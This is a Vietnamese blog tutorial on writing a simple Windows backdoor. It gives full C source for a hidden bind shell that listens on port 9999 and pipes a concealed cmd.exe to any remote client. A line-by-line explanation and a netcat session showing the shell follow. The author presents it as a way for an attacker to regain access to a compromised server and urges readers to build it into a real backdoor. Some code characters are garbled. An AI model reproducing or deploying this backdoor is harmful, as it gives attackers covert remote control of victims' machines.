Trao đổi với tôi

www.hdphim.info OR www.chepphimhdtv.com

12/29/09

[Virus] Hướng dẫn viết một backdoor đơn giản trên Windows

Nguyên tắc là cách làm việc của backdoor không giải thích các bạn cũng biết nó gì và cách sử dụng chúng như nào. Một khi backdoor được cài lên giúp kẻ tấn công sẽ thuận tiện hơn khi trở lại server mà mình đã tấn công vào, điều mà chúng ta cần biết là cách viết đổ cmd.exe tử backdoor (tức là kẻ tấn công có shell khi đã có backdoor được cài trên server) như thế nào ?

Đoạn mã viết dưới đây không phải là backdoor mà chỉ đơn thuần là một phần công việc của backdoor. Sau đây mình sẽ hướng dẫn cách viết đổ cmd.exe như thế nào ?

Code:
#include 
#include
#include

#define PORT 9999 //<--Dat cong lang nghe la 9999
#define BANNER "Seamoun (http://nhomvicki.net) - TcpShell 1.0\n"
#define MAXRECVBUF 1000 //Bo dem toi da khi nhan
#define MAXPIPEBUF 1000 //Bo dem toi da cua pipe
#define WM_SHELL WM_USER+1 //Tinh huong tu dinh nghia

#define MyClass "Seamoun" //Ten lop
#define MyApp "Seamoun" //Ten ung dung

#pragma comment(lib,"wsock32.lib") //Gop thu vien wsock32.lib


HANDLE hThread_out;
DWORD dwChildThreadIdOut;
SECURITY_ATTRIBUTES sa;
STARTUPINFO si;
PROCESS_INFORMATION pi;
HANDLE hPipeOutputRead,hPipeOutputWrite,hPipeInputRead,hPipeInputWrite;
BOOL NowUsing;

int sock_listen,sock;
sockaddr_in addrServer;


void GetShell (HWND hwnd,WPARAM wParam,LPARAM lParam);
int WndProc(HWND hwnd,UINT msg,WPARAM wParam,LPARAM lParam);
DWORD __stdcall OutSocket(LPVOID lpData);

int __stdcall WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nShowCmd)
{
HWND hwnd;
MSG msg;

WNDCLASSEX wc;
wc.cbClsExtra=0;
wc.cbsize=sizeof(wc);
wc.cbWndExtra=0;
wc.hbrBackground=(HBRUSH)color_WINDOW;
wc.hCursor=LoadCursor(NULL,IDC_ARROW);
wc.hIcon=LoadIcon(NULL,IDI_APPLICATION);
wc.hIconSm=0;
wc.hInstance=hInstance;
wc.lpfnWndProc=(WNDPROC)WndProc;
wc.lpszClassName=MyClass;
wc.lpszMenuName=0;
wc.style=CS_HREDRAW|CS_VREDRAW;

RegisterClassEx(&wc);
hwnd=CreateWindowEx(NULL,MyClass,MyApp,WS_OVERLAPPEDWINDOW,0,0,0,0,NULL,NULL,hInstance,NULL);
ShowWindow(hwnd,SW_HIDE);
UpdateWindow(hwnd);

while (GetMessage(&msg,0,0,0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}

return msg.wParam;
}

int WndProc(HWND hwnd,UINT msg,WPARAM wParam,LPARAM lParam)
{
WSADATA wsaData;
switch(msg)
{
case WM_CREATE:
if (WSAStartup(MAKEWORD(1,1),&wsaData)!=0) return -1;
if ((sock_listen=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET) return -1;

addrServer.sin_family=AF_INET;
addrServer.sin_port=htons(PORT);
addrServer.sin_addr.s_addr=htonl(INADDR_ANY);
memset(&addrServer.sin_zero,'\0',8);
if (bind(sock_listen,(struct sockaddr *)&addrServer,sizeof(addrServer))==SOCKET_ERROR) return -1;
if (listen(sock_listen,1)==SOCKET_ERROR) return -1;
if (WSAAsyncSelect(sock_listen,hwnd,WM_SHELL,
FD_CLOSE|FD_ACCEPT|FD_READ|FD_WRITE)==SOCKET_ERROR) return -1;
NowUsing=FALSE;
break;
case WM_CLOSE:
PostQuitMessage(wParam);
break;
case WM_SHELL:
GetShell(hwnd,wParam,lParam);
default:
return (DefWindowProc(hwnd,msg,wParam,lParam));
}
return 0;
}
void GetShell (HWND hwnd,WPARAM wParam,LPARAM lParam)
{
long lEvent=WSAGETSELECTEVENT(lParam);
static char buf[MAXRECVBUF];
DWORD dwNumberOfBytesWrite;
int sock_tmp;
UINT r;
sockaddr_in addrClient;
int sizeClient=sizeof(addrClient);
if (lEvent==FD_ACCEPT)
{
if ((sock_tmp=accept(sock_listen,(struct sockaddr *)&addrClient,&sizeClient))==INVALID_SOCKET)
if (WSAGetLastError()!=WSAEWOULDBLOCK) return;

if (NowUsing==TRUE)
{
closesocket(sock_tmp);
return;
}
sock=sock_tmp;
send(sock,BANNER,strlen(BANNER),0);
NowUsing=TRUE;

sa.nLength=sizeof(sa);
sa.lpSecurityDescriptor=0;
sa.bInheritHandle=TRUE;

CreatePipe(&hPipeOutputRead,&hPipeOutputWrite,&sa,5000);
CreatePipe(&hPipeInputRead,&hPipeInputWrite,&sa,5000);

memset((void *)&si,'\0',sizeof(si));
memset((void *)π,'\0',sizeof(pi));

si.cb=sizeof(si);
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow=SW_HIDE;
si.hStdInput=hPipeInputRead;
si.hStdOutput=hPipeOutputWrite;
si.hStdError=hPipeOutputWrite;

CreateProcess(NULL,TEXT("cmd.exe"),NULL,NULL,TRUE,0,NULL,TEXT("c:\\"),&si,π);

CloseHandle(hPipeInputRead);
CloseHandle(hPipeOutputWrite);

hThread_out=CreateThread(NULL,0,OutSocket,NULL,NULL,&dwChildThreadIdOut);
return;
}
else if (lEvent==FD_CLOSE)
{
closesocket(sock);
TerminateProcess(pi.hProcess,0);
TerminateThread(hThread_out,0);
CloseHandle(pi.hProcess);
CloseHandle(hPipeOutputRead);
CloseHandle(hPipeInputWrite);
NowUsing=FALSE;
}
if ((r=recv(sock,buf,MAXRECVBUF,0))==SOCKET_ERROR) return;
buf[r]=0;
WriteFile(hPipeInputWrite,&buf,r,&dwNumberOfBytesWrite,NULL);
}
DWORD __stdcall OutSocket(LPVOID lpData)
{
char szBuffer[MAXPIPEBUF];
DWORD dwNumberOfBytesRead;
for (;;)
{
if (ReadFile(hPipeOutputRead,&szBuffer,MAXPIPEBUF,&dwNumberOfBytesRead,NULL)==FALSE) continue;
if (dwNumberOfBytesRead<=0) continue;
FlushFileBuffers(hPipeOutputRead);
szBuffer[dwNumberOfBytesRead]=0;
send(sock,szBuffer,dwNumberOfBytesRead,0);
}
return 0;
}


Với đoan mã trên thì phần đăng kí và tạo ra window thì đơn giản, các bạn có thể tham khảo cách lập trình C trên Windows. Để khỏi dài dòng mình chỉ nói phần đổ cmd.exe như thế nào mà thôi !
1) Trong tình huống WM_CREATE (tức là khi đang tạo Windows) chúng ta có đoạn mã sau:

Code:
if (WSAStartup(MAKEWORD(1,1),&wsaData)!=0) return -1;//<-- Khởi tạo thư viện winsocket
if ((sock_listen=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET) return -1; //<--Tạo socket listen
//Định nghĩa giá trị cho biến cấu trúc sockaddr_in addrServer
addrServer.sin_family=AF_INET;
addrServer.sin_port=htons(PORT);
addrServer.sin_addr.s_addr=htonl(INADDR_ANY);
memset(&addrServer.sin_zero,'\0',8);
//--------------------------------------------------------------------
if (bind(sock_listen,(struct sockaddr *)&addrServer,sizeof(addrServer))==SOCKET_ERROR) return -1;//Bind socket listen
if (listen(sock_listen,1)==SOCKET_ERROR) return -1; //<-- Đặt chế độ lắng nghe

//Tạo những tình huống riêng (ở đây mình lấy tên tình huống riêng là WM_SHELL các bạn có thể lấy tên khác tùy ý miễn là nó được định nghĩa WM_USER +x)
if (WSAAsyncSelect(sock_listen,hwnd,WM_SHELL,
FD_CLOSE|FD_ACCEPT|FD_READ|FD_WRITE)==SOCKET_ERROR) return -1;

NowUsing=FALSE; //<--Đây đơn giản là biến dùng để đánh dấu socket đang dùng hay là không dùng nữa

2) Giải thích mã của hai hàm GetShell và OutSocket
Code:
a) Hàm GetShell (HWND hwnd,WPARAM wParam,LPARAM lParam)
long lEvent=WSAGETSELECTEVENT(lParam); //<--Lấy sự kiện
static char buf[MAXRECVBUF]; //Khai báo biến buf để
DWORD dwNumberOfBytesWrite; //
int sock_tmp; //<--Khai báo một socket trung gian
UINT r;
sockaddr_in addrClient;
int sizeClient=sizeof(addrClient);
//Khi có kết nối đến từ máy client - Ở đây kết nối được chấp nhận và sử lý như sau
if (lEvent==FD_ACCEPT)
{
if ((sock_tmp=accept(sock_listen,(struct sockaddr *)&addrClient,&sizeClient))==INVALID_SOCKET)
if (WSAGetLastError()!=WSAEWOULDBLOCK) return;

//Nếu như đang sử dụng thì đóng socket này lại
if (NowUsing==TRUE)
{
closesocket(sock_tmp);
return;
}

sock=sock_tmp;
send(sock,BANNER,strlen(BANNER),0);
NowUsing=TRUE;

sa.nLength=sizeof(sa);
sa.lpSecurityDescriptor=0;
sa.bInheritHandle=TRUE;

//Tạo hai ống dẫn dùng để đổ cmd.exe. Một ống dùng để nhận lệnh từ client gửi đến và một ống dùng để xuất kết quả trả về cho client

CreatePipe(&hPipeOutputRead,&hPipeOutputWrite,&sa,5000);
CreatePipe(&hPipeInputRead,&hPipeInputWrite,&sa,5000);

memset((void *)&si,'\0',sizeof(si));
memset((void *)π,'\0',sizeof(pi));
//Khởi tạo một số thông số cho biến cấu trúc si (Startup Information: thông tin khởi động)
si.cb=sizeof(si);
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow=SW_HIDE;
si.hStdInput=hPipeInputRead;
si.hStdOutput=hPipeOutputWrite;
si.hStdError=hPipeOutputWrite;

//Tạo một tiến trình mới. Mà ở đây là chạy cmd.exe CreateProcess(NULL,TEXT("cmd.exe"),NULL,NULL,TRUE,0,NULL,TEXT("c:\\"),&si,π);

CloseHandle(hPipeInputRead);
CloseHandle(hPipeOutputWrite);
//Tạo luồng trong tiến trình mới với mục đích là đọc ghi dữ liệu
hThread_out=CreateThread(NULL,0,OutSocket,NULL,NULL,&dwChildThreadIdOut);
return;
}
else if (lEvent==FD_CLOSE)
{
//Đóng tất các các handle khi xuất hiện tình huống FD_CLOSE
closesocket(sock);
TerminateProcess(pi.hProcess,0);
TerminateThread(hThread_out,0);
CloseHandle(pi.hProcess);
CloseHandle(hPipeOutputRead);
CloseHandle(hPipeInputWrite);
NowUsing=FALSE;
}
if ((r=recv(sock,buf,MAXRECVBUF,0))==SOCKET_ERROR) return;
buf[r]=0;
//Nhận dữ liệu từ client và ghi đến CMD.EXE
WriteFile(hPipeInputWrite,&buf,r,&dwNumberOfBytesWrite,NULL);
}

3) Giải thích mã hàm OutSocket
Code:
DWORD __stdcall OutSocket(LPVOID lpData)
{
char szBuffer[MAXPIPEBUF];
DWORD dwNumberOfBytesRead;
//Tạo vòng lặp vô tận để nhận kết quả trả về từ CMD.EXE
for (;;)
{
if (ReadFile(hPipeOutputRead,&szBuffer,MAXPIPEBUF,&dwNumberOfBytesRead,NULL)==FALSE) continue;
if (dwNumberOfBytesRead<=0) continue;
FlushFileBuffers(hPipeOutputRead);
szBuffer[dwNumberOfBytesRead]=0; //<-- Thêm kí tự kết thúc chuỗi trong dữ liệu trả về
//Hiển thị kết quả CMD.EXE trả về ra màn hình client
send(sock,szBuffer,dwNumberOfBytesRead,0);
}
return 0;
}


Biên dịch đoạn mã trên và thực thi nó sẽ có kết quả như sau:
tcpshell sẽ lắng nghe trên cổng 9999. Chúng ta kết nối đến cổng 9999 bằng netcat để xem tcpshell đổ cmd.exe như thế nào

Code:
d:\>nx -vv -n 10.0.0.1 9999
(UNKNOWN) [10.0.0.1] 9999 (?) open
Seamoun (http://nhomvicki.net) - TcpShell 1.0
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

c:\> <--- Vậy là đã có shell


Sau bài này các bạn có thể phát triển tiếp cho mã trên trở thành một con backdoor thực sự !

Bài này mình viết lâu roài. Đã post lên HVA rồi mà hổng biết sao tìm hổng thấy bài này nên mình post lại smilie

RefLink: http://www.hvaonline.net/hvaonline/posts/list/5516.hva

1 comment:

  1. This comment has been removed by a blog administrator.

    ReplyDelete